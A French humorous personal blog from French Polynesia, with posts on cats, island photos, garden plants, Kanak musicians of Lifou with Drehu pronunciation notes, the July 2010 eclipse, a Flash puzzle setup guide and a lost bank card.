  Bien sûr, j’avais déjà parlé ici des démêlés d’un lézard avec un chat ou encore exposé là un opossum avec les tripes à l’air mais il restait à traiter d’un dicton classique : A bon chat, bon rat. Soit ! Le rat est également sournois mais comme le dit Woody Allen, Raymond Devos ou Pierre Desproges – à moins que ce soit quelqu’un d’autre : « Le loup et l’agneau dormiront dans le même lit mais l’agneau ne dormira pas beaucoup ». D’où il appert que, nonobstant son intelligence certaine, le rat est rarement vainqueur et souventes fois victime des derniers outrages que lui inflige le Raminagrobis (Rabelais et La Fontaine en Voiture). A malin, malin et demi, malgré la Fable et donc, voici devant vous  : la légende du rat sans corps.Que l’on racontera une autre fois, tenons-nous en aux faits…
  

  

  Regardez comme son oeil a la douceur de la banane… Le CCC (fameux Comité Contre les Chats créé par les Nuls – avec la publicité culte, Kwiskas) prétendait que les chats passaient leur temps à claquer leur pognon au babyfoot, fumer des pétards et grimper au plafond ? Il conseillait même de bouillir votre chat à 90°C ? Quand même ? A malin, malin et demi !

  
  

  Je dois avouer que le slogan vient de cette autre fausse pub du CCC des nuls qui  fustige le dédain du chat d’appartement pour les mets de luxe en conserve et réciproquement. Finalement, je préfère un chat qui fait son boulot… Merci de votre attention.

  
  

  PS : Je viens de découvrir au hasard de mes pérégrinations Stéphane Guillon recevant les Nuls sur C+, désopilant.

  PPS : La citation de Raminagrobis par Voiture se trouve dans sa lettre CLIII à la Comtesse d’Hyères. Et on verra bien demain.
  

  
• Images de Moorea

  Voiciles les photos de Moorea réalisées par votre CdM.

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  Merci de votre attention.

  
• Avatoru à Rangiroa

  Préambule
  

  On prend des photos, on prend des photos mais ce n’est pas le tout : Il faut en faire quelque chose. Auparavant, on pouvait emmerder ennuyer ses connaissances en leur montrant une kyrielle d’albums jusqu’à la nausée. Grâce à Internet, c’est fini ! Je sais qu’il y a beaucoup de critiques du système WEB ces temps-ci et je crois qu’il faut rappeler les bons côtés…

  Avatoru à Rangiroa

  On avait déjà parlé de Rangiroa et des perles noires.

  
  

  Un petit diaporama, rien que pour vous, qui montre des images de Rangiroa (traduction : le Ciel Immense) et plus particulièrement d’Avatoru, une des deux grandes passes. Il y a une légende à ce sujet, merci de la chercher sur google.

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  Merci de votre attention.

  
• L’amarante queue-de-renard

  D’accord, c’est une plante mimi ! Elle se suffirait d’être ornementale ? Eh bien, pas du tout, on apprend plein de choses en surfant.

  

  Car cette merveille pendouillante est également comestible, graines, feuilles et racines. Son nom en quechua est wichica, les Incas en faisait des petits pains pour leur goûter. Elle serait originaire des montagnes andines et n’existe pas à l’état sauvage, selon cet article.
  

  Son nom savant est amaranthus caudatus : l’amarante à queue. Mais pourquoi le renard ? On se le demande, mon trésor. Ce qui me rappelle une expression délicieuse : Poser un renard ou encore poser une peau de renard. Cherchant des renseignements au sujet de son apparition, j’ai constaté que les blogs qui en parlent sont presque tous bretons… Mais il y a une très belle photographie du jubé de la chapelle St Fiacre du Faouët sur laquelle figure l’étonnant renard-cornemuse qui explique peut-être bien des choses… Merci de votre attention.
  

  
• J’en suis tout retourné !

  Comme vous le savez peut-être, la Créature des Marais est d’une ignorance crasse et pas seulement en matière botanique. Il faudra donc des commentatrices ou des commentateurs inspirés par la fibre végétale pour conter les fleurettes ci-dessous.

  
  

  

  Ne dirait-on pas que s’élancent des silhouettes humanoïdes issues de l’imagination d’un Giacometti ? Ces tiges tronquées n’ont pas été décollées par la main de l’homme, ni par le pied, non, non, c’est une chute naturelle qui les décapitent (et il n’y a pas de contrepèterie). Et que font les petites fleurs ? Elles se retournent vers le ciel et ravivent leur couleur (non, ce n’est pas une publicité) ! Vous avez déjà vu ça, vous ? Oui, sûrement, si vous êtes plus avisé(e) que moi. Enfin quoi . Ces petites fleurs d’étoile rouge qui reprennent du poil de la plante et pivotent pour présenter l’insolence de leurs pétales à l’astre du jour quand les branches mères abaissent leurs bras tragiques en signe de renoncement, elles qui naguère élevaient leur arborescence victorieuse vers le monde aérien… de nouveau, je sens poindre les larmes devant un spectacle si, si… euh, si…. Après tout, c’est peut-être banal.
  

  Bon, changeons de sujet tout en restant dans le jardin. Vous souvenez-vous d’un article somptueux paru voici deux jours déjà et qui présentait un piment vert ? Eh bien, deux aubes et le voilà rouge, un vrai tour de magie. Indicible Monde, curieuse Nature !

  
  

  Et pour finir, l’autopsie d’un tueur sur fleur de Tiare parce qu’il le vaut bien :

  

  Merci de votre attention.
  

  
  

  
• Influence du tatouage sur l’enfant allogène en Polynésie

  Nous aurions être plus pointilleux encore et titrer : « L’impact du tatouage sur le body painting chez l’enfant allogène en milieu polynésien » mais on nous accordera que c’était un peu long et pourtant on aurait également gagné en pertinence en précisant qu’il s’agit d’un exemple féminin car indiquer le sexe de l’ange permettait de souligner une certaine coquetterie qui se révèle hâtivement chez les petites filles.

  Bref, à force de voir autour de soi de fiers Polynésiens et de splendides Polynésiennes dont le corps à des endroits divers est rehaussé de magnifiques tatouages, si l’enfant tombe sur un marqueur indélébile, il en profite pour exprimer sa créativité comme il appert des clichés ci-dessous.

  

  
  

  C’est tout pour aujourd’hui, merci de votre attention.
  

  
• Les tribulations de Mao

  Damned ! Je reçois il y a quelques jours un mot de Mao sur ses Tribulations – blog en

  
• Il est charmant, plein de piment !

  Allez, une petite photographie d’un pimentier dans notre jardin. « Il est charmant plein de piment ». cf : Jim Carrey dans the Mask. Je rappelle à tous ceux qui souffrent d’une sigmoïdite diverticulaire qu’il est malavisé de consommer ce fruit par voie orale ou autre. Et d’ailleurs, une ingestion chronique de piment peut induire un reflux gastro-œsophagien.

  

  Je rappelle également que la substance qui brûle la langue et le fion est la capsaïcine dont voici la formule chimique.

  
  

  Désormais, grâce à vos perceptions extra-sensorielles, vous pourrez identifier sans peine tout aliment contenant cette molécule. Enfin, sachez que le codex Mendoza recommande la fumée de piment pour traiter les enfants récalcitrants.

  
  

  Merci de votre attention.
  

  
  

  
• Tahiti : l’attaque des calmars géants

  Et on va encore me dire que je donne dans le titre sensationnel pour attirer des visiteurs. Eh bien, pas du tout, du tout ! Je cherchais la Une que je pourrais exploiter pour la semaine de la presse en mars-avril 2011 (voyez comme j’anticipe) et finalement, j’ai opté pour la dépêche de ce jour…

  

  
  

  Eh oui, non seulement les malheureux pêcheurs ont vu leur chalutier couler en deux minutes, mais en plus, une fois dans le radeau de survie, les calmars ont attaqué… Je vous laisse apprécier selon votre humeur les autres gros titres. Merci de votre attention.

  
• Vaa à Papeete

  Comme chacun sait ou devrait le savoir, les polynésiens n’avaient pas de moteurs hors-bord pour coloniser le Pacifique (qui, rappelons-le, n’est pas précisément un petit océan). C’est pourquoi le Vaa et l’art du coup de pagaie est toujours en vogue à Tahiti.

  Voici un nouveau petit diaporama de Vaa sur le front de mer à Papeete que vous pouvez ouvrir en cliquant sur la photo ci-dessous :

  
  

  

  Merci de votre attention.

  
  

  PS : Pour qui voudrait les photos en grand comme fond d’écran, prière de laisser un commentaire.
  

  
• le réhausseur pour les enfants de moins de 6 ans

  Eh oui, on se doit de le rappeler encore une fois, et la législation est formelle, la sécurité routière rend le réhausseur obligatoire pour les enfants de moins de 6 ans.

  

  Merci de votre attention. La prochaine fois, nous parlerons de l’alcootest préventif pour enfant. Non, je déconne.
  

  
• TV HA Hié 4

  Et maintenant TV HA Hié à Paris…

  
  

  
• TV HA Hié 3

  Et maintenant TVHAHié à Bora Bora…

  
  

  
• TV HA Hié 2

  La suite du TV HA Hié à St Martin…

  
  

  
• TV HA Hié 1

  Les Bretons viennent d’inventer l’eau de Belldoch. A retrouver sur les blogs de Mao, Lolo & David.

  
  

  Merci de votre attention.

  
• Musique de Kanaky – 4 – Fedyz

  Des Musiciens que j’ai rencontrés sur Lifou, celui que j’ai le plus fréquenté, encore que succinctement, est certainement Fedyz alias Tranyiko ‘Ferdinand’ Waikata de la tribu de Hmelek. Une crème d’homme. Fedyz le « petit jeune », après chanté et joué du clavier avec Djunya, s’est avéré un compositeur créatif tant pour les paroles que pour la musique et dont Baloo aurait pu dire : Quel swing !

  

  
  

  Un concert de Fedyz sur Lifou, c’est une houle de jeunes et d’enfants qui se massent vers la scène, les yeux qui brillent. Vous ai-je fait patienter dans les articles précédents ? Oui, sans doute, alors voici une vidéo  bien tournée sur une des meilleures chansons de Fedyz : Luz
  

  
  

  
  

  En fait, Fedyz est la gentillesse incarnée et après avoir sorti deux albums, il s’est consacré aux jeunes du Lycée des îles, le lycée William Haudra à Lifou. C’est le troisième album qu’il réalise avec les lycéens sous le nom générique de Kenu d’Zyl. Mais il continue de donner de nombreux concerts en Calédonie ou ailleurs. Il m’avait offert la vidéo d’un concert à Fidji que je garde par devers moi. Fedyz quoiqu’il parle un anglais très approximatif réussit à faire rigoler son public anglophone. Son charisme est international… Ci-dessous, une photo de Fedyz dans la case de la CdM à Jozip, avec ma Ibanez.

  

  J’ai réalisé une vidéo pour Cemel, un morceau du premier album de Kenu d’Zyl avec Fedyz et des élèves du Collège Boula et du Lycée Haudra. Elle avait circulé sur Lifou mais je ne souhaitais pas qu’elle soit sur le net. Pourtant, quelqu’un s’est permis de la placer sur youtube sans mon accord, il y a deux ans : c’est pourquoi je n’ai plus de scrupules à la montrer ici.

  
  

  
  

  Le titre Cemel veut dire la vie en commun. J’ai déjà indiqué que la conscience des kanak est collective et qu’il est sans doute impossible de se représenter cette manière de penser si l’on a été élevé dans un univers individualiste. Etant donné que trois cultures sont impliquées dans cette chanson, Fediz a utilisé les termes de trois langues : Ciroi en nengöne (Maré), Sese en Iaaï (Ouvea). Cette chanson est donc pure loyaltienne même si elle invite l’ensemble des Calédoniens à vivre ensemble. On reconnaîtra Hmadrie de Bethela qui avait accepté amicalement de figurer dans cette vidéo. Et puis, il y a les chanteuses, les chanteurs, les musiciens : Nilan, Caiö, Peon, Faitr, Gaëtan Ikanaky, Eddy, Eder et tous les autres. Quel bon svnr…
  

  
  

  J’ai perdu le contact avec Fedyz qui vit désormais principalement à Nouméa. J’ai des nouvelles par amis interposés mais je serais heureux de pouvoir entreprendre d’autres collaborations vidéo avec un homme aussi doué et sympathique… Fedyz, si tu me lis, c’est quand tu veux !

  Merci de votre attention. La prochaine fois, nous lançons une campagne pour le TV-HA-Hié mais je reparlerai de la musique mélanésienne pour donner quelques pistes.

  Une question finale : Pourquoi Fedyz n’est-il connu que dans le Pacifique et pourquoi ne parvient-il pas à vivre de sa musique ? Ce n’est pas normal.
  

  
• Musique de Kanaky – 3 – Edou

  Le troisième volet de Musique de Kanaky concerne – rapidement – Edouard Wamaï aka Edou et cela me rappelle que j’ai omis de préciser comment se prononcent les noms des artistes… Comme on le sait, le Français a l’habitude de franciser les noms propres d’origine étrangère. Exemple : Beethoven devient Bitauvent. C’est un des aspects les plus regrettables de la langue française. Certes, quand un volcan islandais recouvre l’Europe de ses cendres, personne ne sait articuler correctement son nom, mais, à cette nuance importante près : les français, encore moins.

  Je ne prétends pas les rééduquer à ce sujet, toutefois, s’agissant des noms en langue Drehu (Lifou), il paraît indispensable de rétablir la prononciation originale afin que les Francophones puissent briller s’ils font un tour dans les Loyauté.

  
  

  Petit cours de prononciation du Drehu par un non-spécialiste

  Cette partie est sûrement sans intérêt pour vous. Passez directement au chapitre suivant intitulé Edou.
  

  Pour commencer, comme dans la plupart des langues, toutes les lettres écrites s’entendent. Le Lifou use de phonèmes qui n’existent pas en français. En revanche, ils existent presque tous dans d’autres langues indo-européennes. Ainsi, le th de Bethela est l’équivalent de la graphie anglaise. Ajoutons que la graphie j en Lifou est la même consonne que le th mais sonore et non sourde, une sorte de compromis entre le je et le ze en français. Comme le débutant (français) en anglais pour émettre le the, il faut placer la pointe de la langue à plat derrière les dents de la mâchoire supérieure en faisant passer l’air pour imiter le son du bourdon. Essayez pour avoir l’air intelligent.

  A part, ces deux consonnes dites apico-dentales, il y a malheureusement des sons autrement délicats à émettre et notamment les h devant l/m/n. Ex : Hna. Il est question d’un h expiré comme en anglais. A présent, si vous n’êtes pas dans un endroit public, tentez de prononcer hna en expirant le h dans un éternuement imperceptible avant d’enchaîner sur le n. Je vous l’accorde, vous n’aurez pas l’air plus malin mais avec un peu d’entraînement…
  

  Pour le reste, citons en vrac que le u se prononce évidemment ou ainsi que ö est eu, que les combinaisons dr et tr s’entendent à peu près comme dj et tch, qu’un n suivi d’un y correspond au son gn de montagne, que le c se dit ch, que le ë est è très ouvert et le e est é, et qu’enfin le g n’est pas un g dur mais un intermédiaire entre le g dur et le son gn mais nasalisé, et nous aurons fait le tour de la question. Ah non, j’oubliais le x qui équivaut à la jota ou encore au ch allemand. Ex : Ach so !
  

  Si vous avez suivi jusque là, vous méritez de bénéficier des avantages indéniables que confère Internet par rapport à un manuel d’autrefois. Soit, je prononce le Drehu comme une vache espagnole mais, comme vous m’êtes sympathiques et comptant sur votre indulgence, je vous fais un coup d’audio pour le vocabulaire suivant :

  • Drehu : langue de Lifou
  • Nengöne : langue de Maré
  • Gurejele : nom du groupe de Dick
  • Bethela : le groupe des Canhmez
  • Canako : le lead vocal de ce groupe
  • Mexem : le groupe de Edou
  • Hnatr : la chanteuse de Gurejele
  • Djunya : le groupe intégré par Fediz
  • Hnanemuatra : Tribu de Lifou dans le Wetr
    

  Des mots en drehu

  Vous comprendrez que quand on cite la tribu de Hnanemuatra, les béotiens puissent rétorquer « A vos souhaits ! ».

  
  

  Edou

  
  

  Bon, tout ça nous a considérablement éloigné de l’artiste du jour, Edou alias Edouard Wamaï de la Tribu de Drueulu. Le site Mouv.nc vous donnera les indications biographiques nécessaires. Ce site présente d’ailleurs plusieurs Artistes Kanak avec des extraits à écouter ici.

  Voici donc une de mes chansons préférées de Edou, elle s’appelle Le rêve, un morceau excellent et on y entend aussi la talentueuse Vanessa Quai du Vanuatu (une voix superbe si vous voulez mon avis) et même un petit Haka. Ce morceau est assez représentatif des Musiciens et Artistes Kanak, à savoir qu’ils ont créé le Kaneka mais qu’ils adorent mélanger les styles. Ce sont des gens très ouverts. Au risque de me répéter, ils devraient jouir d’une renommée mondiale !
  

  
  

  Si vous voulez écouter d’autres sons de Edou avec Mexem, tapez Mexem dans google et vous trouverez un tas de choses. En attendant voilà un lien vers une autre vidéo de Edou où les personnages sont en tenue végétale traditionnelle. Très vert et très insolite. Du pur Kaneka…
  

  
  

  
  

  Merci de votre attention. La prochaine, nous causerons de Fediz.

  
• Musique de Kanaky – 2 – Dick et Hnatr Buama

  Je n’ai pas rencontré Dick et Hnatr Buama du groupe Gurejele, qui se produisent désormais en duo ou en solo et c’est dommage. J’ai juste pris en stop une fois la maman de Hnatr, une femme courtoise et enjouée. Dick Buama est de la tribu de Mebuet à Maré, l’île au sud des Loyauté. Sa femme Hnatr  est de la tribu de Nang à Lifou. Aussi les paroles des chansons sont-elles autant en nengöne (langue de Maré) qu’en drehu (langue de Lifou) mais on y entend également le français. Le Nengöne est d’ailleurs une langue merveilleuse, tissée de roucoulement.

  Dick Buama de Nengöne n’a pas besoin du blog de la CdM, il a le sien et mieux renseigné. Il y retrace son expérience de la naissance du Kaneka en 1993 avec Gurejele jusqu’à sa prestation en duo avec son épouse. Voici justement une petite vidéo de Youtube qui doit dater des débuts de Gurejele. Elle est délicieusement roots.

  
  

  Brève parenthèse, le Kaneka parle d’amour, bien sûr, mais aussi des problèmes politiques au sens large qu’ont connus et que connaissent les Kanak. Il y a plusieurs tendances. D’un côté, des revendications avec des paroles parfois très dures à l’encontre des colonisateurs, exprimées en langue vernaculaire (28 langues kanak), de l’autre, et, plutôt en français, une aspiration au destin commun des habitants du Caillou (surnom de la Calédonie). Auxquelles s’ajoutent des textes qui parlent du quotidien (problèmes de pauvreté, de cannabis, d’alcool, etc).

  S’y retrouvent, comme une trame, le respect à l’égard des « Vieux » et de la tradition ainsi que les mises en garde à l’intention des « petits jeunes » qui sont l’avenir. Il est clair que mieux comprendre la force du Kaneka suppose d’être capable d’appréhender même abstraitement que la vie tribale est un espace où la conscience est collective et non individuelle. On y reviendra.

  Dick Buama contredit ce que j’ai simplifié précédemment à propos de l’utilisation des langues dans la protestation. Hnatr et lui, lui et Hnatr, ont préféré la faire entendre en langue française avec la conséquence qu’elle est destinée à la fois aux Kanak et aux Français. Ce choix paraît judicieux.

  La composition peut-être la plus connue de Dick Buama est une chanson satirique, très amusante, je vous la recommande : « C’est qui qui paye ? C’est la France qui paye ! » Il l’a réalisée sous son nom seul pour ne pas faire courir de «risques » aux membres de Gurejele, l’histoire récente et actuelle de la Calédonie n’est pas exempte de tensions… Dick Buama est aussi courageux que sa femme est énergique dans le même sens. Voici donc une autre composition chantée par Hnatr, cette fois-ci : La leçon d’histoire dans le bel album solo, Le temps qui passe.

  Pour conclure, Dick et Hnatr sont deux artistes passionnants du monde Kanak. Leur talent commence à peine à être reconnu hors de Calédonie. Voici une vidéo d’un concert au New Morning en 2008. Je leur souhaite une longue et brillante carrière : en groupe, en solo et en duo, enfin avec nous…

  Merci de votre attention. Nous évoquerons Edou alias Edouard Wamaï dans le prochain article.

  
• Musique de Kanaky – 1 – Bethela

  Intro

  La World Music est une appellation fourre-tout. C’est bien pratique… C’est pourquoi je voudrais présenter, en une série de plusieurs articles, quelques exemples de la musique de Nouvelle Calédonie ou plutôt de Kanaky et, en particulier, de la musique produite par les Artistes Kanak de l’archipel des Loyauté, et encore plus précisément, de ce qui se fait en la matière sur l’île de Lifou, la nöje drehu.

  Un dicton affirme : « Quand tu croises trois Kanak, il y en a forcément un qui tient une guitare ». Je peux confirmer la véracité de la chose. En fait, chacune des 37 tribus compte plusieurs groupes et les concerts sont une activité permanente. Les habitants de Lifou ont un sens musical tout à fait remarquable. Il y a de magnifiques chorales religieuses et de très nombreux musiciens de kaneka. J’ai eu la chance d’en rencontrer certains en résidant quatre ans sur cette île magique, notamment grâce à mes amis, Monsieur Rico et Maître Loulou.

  
  

  J’ai eu la chance de pouvoir filmer et enregistrer (au MD à partir de la table de mixage) ces talentueux Filles et Fils de Kanaky en promettant que je ne diffuserai ni les images ni le son. Promesse tenue. Sauf que je viens de découvrir une de mes vidéos placée sur youtube par un inconnu en 2008 !!! On y reviendra.

  
  

  Bethela

  
  

  A tout seigneur, tout honneur, Bethela de la Tribu de Hapetra est le premier combo à avoir produit des disques en Calédonie dès 1975. Du groupe de l’époque, hélas, beaucoup d’Anciens sont disparus mais le leader Itraqalo Canehmez a reformé le groupe en famille vers 2001. Ce sont les GI’s qui ont apporté les guitares accoustiques à Lifou durant la seconde guerre mondiale quand il était enfant. Le style de Bethela est marqué par cette origine, le son est très country nonobstant que la rythmique des ukulele marque par ailleurs l’influence polynésienne.

  
  

  

  Itraqalo, à droite, est en uniforme de Bethela, vert et jaune aux couleurs de Hapetra. Le tshirt est imprimé : Bethela Boys… C’est un homme très sympathique et très tranquille, Itraqalo. J’ai bavardé avec lui de l’histoire du groupe. Il m’a dit qu’il ne gagnait rien à faire des disques. En revanche, ils font des recettes car Bethela est sollicité sur toute la Calédonie.
  

  

  Voici Maka, son épouse, une Dame à la voix de tête. Elle est tout à fait charmante mais comme je suis maladroit, je lui demandai pourquoi elle ne souriait pas pour les photos, elle m’a alors fait un beau sourire sur une certaine absence de dents.

  

  Canako, un de leurs fils, celui qui chante les couplets avec sa mère est devenu un personnage central du groupe. A la fin d’un concert que j’avais filmé, il est parti vers le Gaica, district de l’ouest et moi vers le Lössi au sud. Seulement, le lendemain, Loulou me raconte que Canako est un peu sorti de la route et a cassé net un poteau téléphonique. Quand on sait que l’on oublie souvent la ceinture à Lifou, je me suis inquiété. Mais Loulou a rigolé en ajoutant : « Ces gars-là, c’est du solide. Il a un peu mal à l’épaule ! »

  
  

  
  

  Hmadrie, l’autre fils, un colosse qui joue du ukulele, avec qui j’ai bien rigolé (nous avons un penchant commun pour les boissons écossaises). Il doit mesurer deux mètres et me faisait penser au conceptuel « Mike-la-Montagne » dans Gaston Lagaffe. Malgré sa mine parfois rébarbative, c’est un joyeux luron. Un souvenir cocasse : Durant une soirée, les Anciens (mais à Lifou, on dit les Vieux et c’est respectueux) avaient interdit les alcools forts, Hmadrie et moi-même étions donc sortis sur le parking pour déguster un gin tonic dans sa voiture. Nous avons été interrompus par un gars qui faisait deux têtes de moins que Hmadrie et qui racontait je ne sais trop quoi. Notre géant s’est penché pour placer son visage au niveau de celui du moustique en émettant un « HUM ? » bien sonore. Je le jure, le gars a glapi en faisant un bond de lapin, puis il s’est enfui…
  

  Vous connaissez un peu à présent les piliers Canehmez de Bethela. Il faut tout de même préciser que des tontons, des cousins et des amis se joignent au groupe. En effet, les musiciens Lifou jouent de tous les instruments et il est courant pour eux de passer de la batterie, au clavier puis à la guitare ou au chant. Etonnant, non ?

  Comme je me suis engagé à ne pas diffuser les images et les enregistrements que j’ai faits avec eux, je vous place ce qu’on trouve sur le net en guise de vidéos. Vous y verrez la végétation du côté de Peng ainsi que sa fameuse plage et surtout les sympathiques Bethela Boys & Maka.

  
  

  
  

  La prochaine fois, nous parlerons de Gurejele et donc de Dick Buama et Hnatr, un couple des Loyauté. Merci de votre attention.

  
• Eclipse du 11 juillet à Tahiti

  Et allez hop ! Un petit témoignage de plus sur la fameuse éclipse du 11 juillet 2010 en Polynésie. Ce dimanche matin, vers 8 h 30, la lumière a subitement baissé… Au début, j’ai tenu le raisonnement suivant : ouh la, peu mangé, trop peu dormi, beaucoup bu, une sorte de voile noir résultant de l’hypotension matino-dominicale familière aux gens qui ont une mauvaise hygiène de vie…

  

  Non, non, ce n’est pas ça, me bonsangmaisbiensûré-je, c’est l’éclipse solaire partielle sur l’Archipel de la Société. A 8 h30, en effet, à cette période de l’année, le soleil est déjà haut dans le ciel. Alors, constater que l’environnement visuel perd un paquet de lumens en quelques secondes, forcément, ça fout un choc. Cela confère au paysage une allure irréelle très fin du monde. Mon épouse a dû activer les phares de l’automobile sur son trajet professionnel et c’était amusant de voir les balises maritimes se rallumer en plein jour…

  
  

  J’ai aussitôt consulté le Professeur Till (4 ans, expert en à peu près n’importe quoi et capable de fournir une explication rationnelle à chaque événement insolite) et il m’a exposé la théorie suivante : Une éclipse solaire, c’est quand la lune clipse le soleil. Regardez la vidéo pour en apprendre plus et surtout, savoir comment réagir face à une éclipse.
  

  
  

  Quoi de plus logique ? D’où l’expression usuelle que les humains ayant chaussé lunettes fumées adressaient à la lune aujourd’hui : 1, 2, 3 et clipse ! Bon, hier soir, le Professeur Till m’avait proposé incontinent une course de viande lors du dîner qui comportait des boulettes carnées. Un raccourci saisissant. Enfin, vous pouvez toujours retenir le conseil. En cas d’éclipse, mangez des chips aux crevettes et affirmez comme Tryphon Tournesol :

  

  Et j’ajoute que l’on a fait des remarques à Hergé sur le fait que les Incas, spécialistes du Soleil (Ô Pachacamac), ne risquaient pas d’être surpris par une éclipse… Le grand Hergé a acquiescé mais précisé que finalement il ne changerait rien parce que ça va bien comme ça. Merci de votre attention.
  

  
  

  
• Air weightlifting ou haltérophilie simulée

  On peut rester confondu, parfois, devant l’invention humaine. Prenons le concept de air guitar. Comme chacune et chacun le sait sans doute, jouer de la six cordes, ça se mérite. Les héros se comptent. Bon, ce n’est pas interdit (dans un mouvement d’ivresse dansante) de se frotter frénétiquement le nombril pour mimer un solo de gratte dont on raffole (par exemple, celui de Mick Ronson sur Moonage Daydream) mais dans l’ensemble, il faut concéder que la guitare est un instrument qui réclame une pratique assidue. Qu’un Mac Laughlin grimace de douleur, qu’un Carlos Santana soit fièrement campé (un Paco de Lucia encore davantage), qu’un Jimmy Page ait le mollet patted’éléphanté et les yeux mi-clos aux moments de bravoure ou bien le Maestro Jimi Hendrix, le chewing-gum négligent, sans oublier un Pete Townshend zombie qui fracasse les amplis avec une guitare réelle, soit. Cela se conçoit, c’est du rock n’roll à la base et à défaut de basculer le bassin d’une voix glamour si on chante, on peut mimer une scène de sexe torride avec sa guitare et finir par y flanquer le feu.
  

  En revanche, je crains d’avoir quelques difficultés à comprendre qu’on organise des Air Guitar World Championships… Partant de ce principe, on peut faire des championnats du monde de… n’importe quoi, non ? C’est pourquoi j’ai choisi du lourd. A quoi bon s’exercer péniblement à soulever de la fonte quand il suffit de faire mine…

  Merci de votre attention.
  

  
  

  
• Bondage et Dragon

  J’ai bien fait, hier, à Taravao, de le photographier, ce dragon. Aujourd’hui, ils l’ont enlevé !

  
  

  

  Merci de votre attention.
  

  
• Le puzzle de la Créature des Marais

  Bonjour tout le monde ! Je voulais au départ parler de la Une du journal l »équipe de ce samedi 19 juillet 2010 mais finalement, je n’ai pas envie de parler de foot-ball. D’ailleurs, Pierre Desproges¹ avait parfaitement résumé la chose. Il n’y a rien à ajouter. Sinon à lire ce que Umberto Eco, également grand amateur, dit au même sujet.

  Alors, si vous n’avez rien à faire de mieux, vous pouvez toujours faire le puzzle de la Créature des Marais dans les îles…

  

  
  

  Si ça ne marche pas, fermez et cliquez à nouveau pour voir. Merci de votre attention.

  ¹ On trouve ici une vidéo dans laquelle Pierre Desproges répond vertement à Monseigneur Lustiger. Je pouffe.

  PS : Au fait, blogueurs et blogueuses, vous souhaitez peut-être vous aussi mettre un chouette puzzle sur votre site ? Voici le procédé que j’ai utilisé :

  1. Télécharger les fichiers ici.
  2. Décompresser les fichiers
  3. Créer un répertoire intitulé uploaded
  4. Placer dans ce répertoire une photo en jpg (pas trop volumineuse) que vous renommerez Estate.jpg (attention à la majuscule)
     
  5. Transférer les fichiers (FlashPuzzle_light.swf, FlashPuzzle_light_save_btn.swf, FlashPuzzle_light.fla) et le répertoire uploaded contenant la photo vers un répertoire quelconque de votre site (ex. vous pouvez nommer le répertoire puzzle)
     
  6. Faites un lien relatif sur votre blog vers le fichier ex:  ../puzzle/FlashPuzzle_light.swf. Ou un lien absolu, comme dans mon cas http://www.lacreaturedesmarais.fr/puzzle/FlashPuzzle_light.swf C’est tout con…

  
• Taramea, l’étoile tueuse

  A première vue, on dirait un glaviot de la CdM après sa première clope du matin. Mais que vient faire là ce bout de métal suspect ? Cliquez sur l’image et vous découvrirez qu’il s’agit, en fait, de la belle étoile de mer que mon voisin, Yann W., a occise à l’aide de son fusil sous-marin.

  

  Eh oui, Taramea, l’étoile tueuse, appelée également « coussin de belle-mère » en Calédonie… En voilà encore d’un foutu échinoderme ! 40 cm de diamètre, 12 à 19 tentacules couverts de piquants redoutables. Son petit nom savant, l’Acanthaster, ne révèle pas que cette saloperie est venimeuse et bouffe le corail. Personnellement, je ne mange pas de corail. Ce n’est pas autant que j’apprécie la pullulation de ces saloperies qui viennent se nourrir du corail de mes poissons. En plus, c’est dégueulasse, je cite : « Cette espèce est à sexes séparés, les produits génitaux sont émis dans l’eau de mer. La fertilisation sera meilleure s’il y a agrégation des individus. »

  Donc, comme je n’ai pas envie de me baigner dans les substances muqueuses et les émissions ovulaires ou spermatiques d’espèces de mollards pleins de piquants empoisonnés, soyez gentils de les exterminer si vous en croisez.

  Une petite vidéo en prime ?

  
  

  A propos de la dangerosité des Chauve-Souris, voyez ici. Quant à celle des Cochons d’Inde, voyez là.

  Quelques liens pour plus de détails et savoir où trouver l’Acanthaster (afin de l’éradiquer).
  

  La guerre des étoiles (bon titre mais déjà pris) – Wikipedia – le site de l’IFRECOR en Nouvelle-Calédonie – Vie Océane sur le cycle de l’Acanthaster. Merci de votre attention.
  

  
  

  
• Dites-le avec Kärcher !

  Aujourd’hui, c’est l’anniversaire de D*** et je n’avais pas de cadeau. Non mais quel con. J’ai préparé un petit porc laqué mais ce n’était pas terrible comme cadeau. Alors j’ai opté pour le land-art. Avec un kärcher, c’est facile !

  

  Dites-le avec kärcher !

  PS : Merci de votre attention.

  PPS : J’ignore pourquoi mais apparemment de pauvre gens aboutissent sur cet article en cherchant une parodie de STARWARS. Je leur signale que la vidéo est là.

  
• Faute de Monétique, c’est douleur nonpareille

  Le proverbe original : « Faulte d’argent, c’est doleur non pareille » est cité par le bon maître Villon et Jean Marot, père de Clément, ou encore attesté dans le Pantagruel du grand Rabelais qui se serait inspiré de cette chanson de la seconde moitié du XVIe siècle :

  
  

  Eh bien, j’ajoute : Faute de monétique – ou de moyen de paiement scriptural, à défaut – c’est douleur non pareille. Voulez-vous vraiment une illustration de ce proverbe modernisé ? Non, sans doute pas, mais vous l’aurez quand même…

  

  
  

  J’ai toujours été négligent avec les chéquiers, les cartes et même le liquide. On ne se refait pas. Par ailleurs, je ne suis pas très dépensier et mon compte est garni. Aussi, est-ce un énorme souci de moins dans ma vie anxieuse que de ne pas trop me préoccuper des fins de mois. Quand je pense à mes contemporains qui souffrent de cette douleur non pareille, je me dis que j’ai le cul bordé de nouilles.

  Mais revenons à la monétique. Il y a un mois et demi, profitant des avantages du net, je commande deux chéquiers barrés. J’attendais également ma CB visa commandée, elle, au guichet. Entretemps, pour faire les courses, je pique le chéquier de mon épouse (c’est un compte joint) ou sa CB. Oui, mais voilà mon épouse est un peu comme moi.

  Au bout d’un mois, je retire ma carte bleue et j’attends les codes par courrier. Les chéquiers ne sont pas arrivés et celui de mon épouse est vide.

  Quinze jours plus tard, je n’ai toujours pas de chéquiers ni de codes pour la CB. Notre fils s’en mêle. Il joue avec la carte bleue de maman et l’oublie sur l’ampoule allumée de la lampe de chevet. Comme la carte, je suis gondolé. Elle ne peut plus être insérée nulle part.

  
  

  

  
  

  Heureusement que nous sommes des adeptes du prélèvement automatique…. Il me restait une autre CB à mon nom sur un compte lointain. Morceau de chance. Seulement, cette seconde CB n’est plus valide depuis avril 2010. Espoir déçu.

  Donc, à ce jour, nous n’avons plus ni carte, ni chéquier et nous devions régler des réservations de maison pour nous et nos amis. Je suis allé tirer près de 2000 Euros au guichet pour faire bonne mesure en expliquant mes déboires : J’avais l’impression d’être un dealer avec des CFP pleins les fouilles.

  
  

  

  
  

